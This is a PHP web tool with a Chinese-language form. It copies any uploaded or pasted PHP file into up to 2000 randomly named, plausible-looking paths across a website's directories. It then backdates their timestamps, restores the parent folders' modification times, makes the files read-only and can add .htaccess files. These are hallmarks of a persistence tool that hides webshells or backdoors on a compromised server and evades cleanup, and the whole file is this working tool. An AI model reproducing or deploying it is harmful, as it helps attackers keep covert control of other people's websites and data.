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<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

// --- 可选配置 ---
$folders = array('api','assets','cache','config','controller','core','css','data','db','dist','docs',
    'engine','files','functions','helpers','html','includes','js','layouts','lib','locales','logs',
    'media','modules','pages','public','resources','routes','runtime','scripts','server','services',
    'src','static','storage','styles','system','templates','themes','uploads','utils','vendor',
    'views','widgets','xml','language','bootstrap','php','lang','test','admin','frontend','backend',
    'client','image','res','json','migrations','components','output','v1','v2','configurations',
    'ajax','partials','mail','model','database','extensions','plugins','forms','graphql','errors',
    'cron','settings','debug','mobile','desktop','web','fonts','cdn','cdn-assets','sdk','sso',
    'auth','oauth','search','editor','parser','robots','schema','manifest','seo');

$fileNames = array('index','main','init','config','settings','router','connect','auth','login','logout','user','admin','dashboard','start','bootstrap','controller','view','model','cron','job','worker','handler','api','data','service','client','server','page','load','app','module','database','functions','helper','editor','upload','ajax','mail','form','search','session','routes','web','backend','frontend','script','engine','core','test','sample','home','profile','theme','seo','setup','install','widget','utils','token','access','meta','lang','i18n','build','result','stats','panel','request','response','middleware','storage','command','batch','common','logger','event','callback','debug','options','reset','notify','backup','parser','doc','schema','gateway','view2','upload2','scan','download','convert');

$baseDir = __DIR__;
$log = array();

function getTopLevelDirectories($baseDir) {
    $dirs = array();
    foreach (scandir($baseDir) as $item) {
        if ($item === '.' || $item === '..') continue;
        $fullPath = $baseDir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($fullPath)) {
            $dirs[] = $fullPath;
        }
    }
    return $dirs;
}

function tryMkdirWithFix($dir) {
    return is_dir($dir) || @mkdir($dir, 0755, true);
}

function generateRandomPaths($count, $topDirs, $fileNames, $folders, $maxFilenameLength, $minDepth, $maxDepth) {
    $result = array();
    while (count($result) < $count) {
        $topDir = $topDirs[array_rand($topDirs)];
        $relativeTop = basename($topDir);

        $depth = rand($minDepth, $maxDepth);
        $subDirs = array();

        for ($i = 0; $i < $depth; $i++) {
            $subDirs[] = $folders[array_rand($folders)];
        }

        $baseFile = $fileNames[array_rand($fileNames)];
        $shortName = substr($baseFile, 0, $maxFilenameLength);
        $filename = $shortName . '.php';

        $relativePath = $relativeTop . '/' . implode('/', $subDirs) . '/' . $filename;
        $fullPath = $topDir . '/' . implode('/', $subDirs) . '/' . $filename;

        if (!isset($result[$fullPath])) {
            $paths = array();
            $accumulate = $topDir;
            foreach ($subDirs as $sd) {
                $accumulate .= '/' . $sd;
                $paths[] = $accumulate;
            }
            $result[$fullPath] = array(
                'relative' => $relativePath,
                'full' => $fullPath,
                'dirs' => $paths
            );
        }
    }
    return $result;
}

function tryWriteHtaccess($dir, $content) {
    $htPath = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.htaccess';
    $writeSuccess = @file_put_contents($htPath, $content) !== false;
    if ($writeSuccess) {
        @touch($htPath);
        @chmod($htPath, 0555);
        return true;
    }
    return false;
}

// 表单提交处理
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $domain = trim(isset($_POST['domain']) ? $_POST['domain'] : '');
    $count = (int)(isset($_POST['count']) ? $_POST['count'] : 0);
    $pastedCode = trim(isset($_POST['pasted_code']) ? $_POST['pasted_code'] : '');
    $uploadedFile = isset($_FILES['file']['tmp_name']) ? $_FILES['file']['tmp_name'] : '';
    $customTimeStr = trim(isset($_POST['custom_time']) ? $_POST['custom_time'] : '');
    $maxFilenameLength = (int)(isset($_POST['filename_length']) ? $_POST['filename_length'] : 12);
    $minDepth = (int)(isset($_POST['min_depth']) ? $_POST['min_depth'] : 1);
    $maxDepth = (int)(isset($_POST['max_depth']) ? $_POST['max_depth'] : 3);

    $genHtaccess = (isset($_POST['generate_htaccess']) && $_POST['generate_htaccess'] === '1') ? true : false;
    $htaccessContent = trim(isset($_POST['htaccess_content']) ? $_POST['htaccess_content'] : '');

    $maxFilenameLength = max(3, min($maxFilenameLength, 50));
    $minDepth = max(1, min($minDepth, 10));
    $maxDepth = max($minDepth, min($maxDepth, 10));

    if (!filter_var($domain, FILTER_VALIDATE_URL)) {
        $log[] = "❌ Invalid domain URL.";
    } elseif ($count <= 0 || $count > 2000) {
        $log[] = "❌ Count must be between 1 and 2000.";
    } elseif (empty($pastedCode) && (!isset($_FILES['file']) || !is_uploaded_file($uploadedFile))) {
        $log[] = "❌ Please upload a PHP file or paste PHP code.";
    } else {
        $customTimestamp = null;
        if ($customTimeStr !== '') {
            $customTimestamp = strtotime($customTimeStr);
            if ($customTimestamp === false) {
                $log[] = "❌ Invalid date format. Use Y-m-d H:i:s.";
                $customTimestamp = null;
            }
        }

        if (!empty($pastedCode)) {
            $uploadedFile = tempnam(sys_get_temp_dir(), 'phpcode_');
            file_put_contents($uploadedFile, $pastedCode);
        }

        $topDirs = getTopLevelDirectories($baseDir);

        if (empty($topDirs)) {
            $log[] = "❌ No top-level directories found in current directory.";
        } else {
            $paths = generateRandomPaths($count, $topDirs, $fileNames, $folders, $maxFilenameLength, $minDepth, $maxDepth);

            $parentDirsOriginalTime = array();
            foreach ($paths as $item) {
                foreach ($item['dirs'] as $dir) {
                    $parentDir = dirname($dir);
                    if (!isset($parentDirsOriginalTime[$parentDir]) && is_dir($parentDir)) {
                        $parentDirsOriginalTime[$parentDir] = filemtime($parentDir);
                    }
                }
            }

            $newDirs = array();
            $newFiles = array();

            foreach ($paths as $item) {
                $fullPath = $item['full'];
                $dirs = $item['dirs'];

                foreach ($dirs as $d) {
                    if (!is_dir($d)) {
                        if (tryMkdirWithFix($d)) {
                            $newDirs[] = $d;
                        } else {
                            $log[] = "❌ Failed to create directory: $d";
                            continue 2;
                        }
                    }
                }

                if (!file_exists($fullPath)) {
                    if (copy($uploadedFile, $fullPath)) {
                        $newFiles[] = $fullPath;

                        $logEntry = rtrim($domain, '/') . '/' . $item['relative'];

                        if ($genHtaccess) {
                            $fileDir = dirname($fullPath);
                            $htSuccess = tryWriteHtaccess($fileDir, $htaccessContent);
                            if (!$htSuccess) {
                                $logEntry .= "  ⚠️ .htaccess 生成失败";
                            }
                        }

                        $log[] = $logEntry;
                    } else {
                        $log[] = "❌ Failed to write file: $fullPath";
                    }
                } else {
                    $log[] = "ℹ️ 文件已存在，不覆盖: " . $item['relative'];
                }
            }

            $perm = 0555;
            $timestamp = $customTimestamp !== null ? $customTimestamp : time();

            foreach ($newDirs as $d) {
                @touch($d, $timestamp);
                @chmod($d, $perm);
            }

            foreach ($newFiles as $f) {
                @touch($f, $timestamp);
                @chmod($f, $perm);
            }

            foreach ($parentDirsOriginalTime as $dir => $mtime) {
                @touch($dir, $mtime);
            }
        }

        if (!empty($pastedCode) && file_exists($uploadedFile)) {
            unlink($uploadedFile);
        }
    }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<title>生成随机 PHP 文件</title>
<style>
    body {font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;background: #f7f9fc;margin: 2rem auto;max-width: 900px;padding: 1rem 2rem;color: #333;}
    h2 {text-align: center;color: #004085;}
    form {background: #fff;padding: 20px 30px;border-radius: 8px;box-shadow: 0 2px 8px rgb(0 0 0 / 0.1);}
    label {display: flex;flex-wrap: wrap;margin-bottom: 15px;font-weight: 600;color: #222;}
    label > input[type="text"],label > input[type="number"],label > input[type="file"],label > textarea {
        flex: 1 1 300px;padding: 8px 10px;margin-left: 10px;border: 1px solid #ccc;border-radius: 4px;font-size: 1rem;font-family: monospace, monospace;resize: vertical;}
    label > textarea {min-height: 100px;max-height: 180px;}
    label.checkbox-label {flex-wrap: nowrap;align-items: center;font-weight: normal;color: #555;}
    label.checkbox-label input[type="checkbox"] {margin-right: 8px;width: auto;}
    button[type="submit"] {background-color: #007bff;color: white;font-size: 1.1rem;font-weight: 600;padding: 12px 24px;border: none;border-radius: 5px;cursor: pointer;display: block;margin: 1.5rem auto 0;width: 180px;transition: background-color 0.25s ease;}
    button[type="submit"]:hover {background-color: #0056b3;}
    ul.log-list {background: #fff;margin-top: 2rem;padding: 1rem 1.5rem;border-radius: 8px;box-shadow: 0 2px 8px rgb(0 0 0 / 0.05);max-height: 300px;overflow-y: auto;font-family: monospace, monospace;font-size: 0.9rem;line-height: 1.4;color: #444;}
    ul.log-list li {margin-bottom: 8px;}
</style>
</head>
<body>

<h2>生成随机 PHP 文件</h2>
<form method="post" enctype="multipart/form-data" autocomplete="off">
    <label>
        你的域名 (例如 https://example.com):
        <input type="text" name="domain" required value="<?php echo htmlspecialchars(isset($_POST['domain'])?$_POST['domain']:'',ENT_QUOTES); ?>" placeholder="https://example.com">
    </label>

    <label>
        生成文件数量 (1-2000):
        <input type="number" name="count" min="1" max="2000" required value="<?php echo htmlspecialchars(isset($_POST['count'])?$_POST['count']:'10',ENT_QUOTES); ?>">
    </label>

    <label>
        上传 PHP 文件 (或留空使用下面粘贴代码):
        <input type="file" name="file" accept=".php">
    </label>

    <label>
        或粘贴 PHP 代码（优先使用上传文件）:
        <textarea name="pasted_code" rows="6" cols="60" placeholder="请输入PHP代码"><?php echo htmlspecialchars(isset($_POST['pasted_code'])?$_POST['pasted_code']:'',ENT_QUOTES); ?></textarea>
    </label>

    <label>
        文件名最大长度 (3-50):
        <input type="number" name="filename_length" min="3" max="50" value="<?php echo htmlspecialchars(isset($_POST['filename_length'])?$_POST['filename_length']:12,ENT_QUOTES); ?>">
    </label>

    <label>
        生成文件夹最小深度 (1-10):
        <input type="number" name="min_depth" min="1" max="10" value="<?php echo htmlspecialchars(isset($_POST['min_depth'])?$_POST['min_depth']:1,ENT_QUOTES); ?>">
    </label>

    <label>
        生成文件夹最大深度 (1-10):
        <input type="number" name="max_depth" min="1" max="10" value="<?php echo htmlspecialchars(isset($_POST['max_depth'])?$_POST['max_depth']:3,ENT_QUOTES); ?>">
    </label>

    <label>
        自定义时间戳 (格式: Y-m-d H:i:s，可留空):
        <input type="text" name="custom_time" value="<?php echo htmlspecialchars(isset($_POST['custom_time'])?$_POST['custom_time']:'',ENT_QUOTES); ?>" placeholder="2025-09-17 12:34:56">
    </label>

    <label class="checkbox-label">
        <input type="checkbox" name="generate_htaccess" value="1" <?php echo isset($_POST['generate_htaccess'])?'checked':''; ?>>
        生成 .htaccess 文件
    </label>

    <label>
        .htaccess 文件内容（生成时使用）:
        <textarea name="htaccess_content" rows="6" cols="60"><?php echo htmlspecialchars(isset($_POST['htaccess_content'])?$_POST['htaccess_content']:"Options -Indexes\nRewriteEngine On\nRewriteRule ^.*$ - [F,L]",ENT_QUOTES); ?></textarea>
    </label>

    <button type="submit">开始生成</button>
</form>

<?php if (!empty($log)): ?>
    <h3>生成结果日志</h3>
    <ul class="log-list">
        <?php foreach ($log as $line): ?>
            <li><?php echo htmlspecialchars($line,ENT_QUOTES); ?></li>
        <?php endforeach; ?>
    </ul>
<?php endif; ?>

</body>
</html>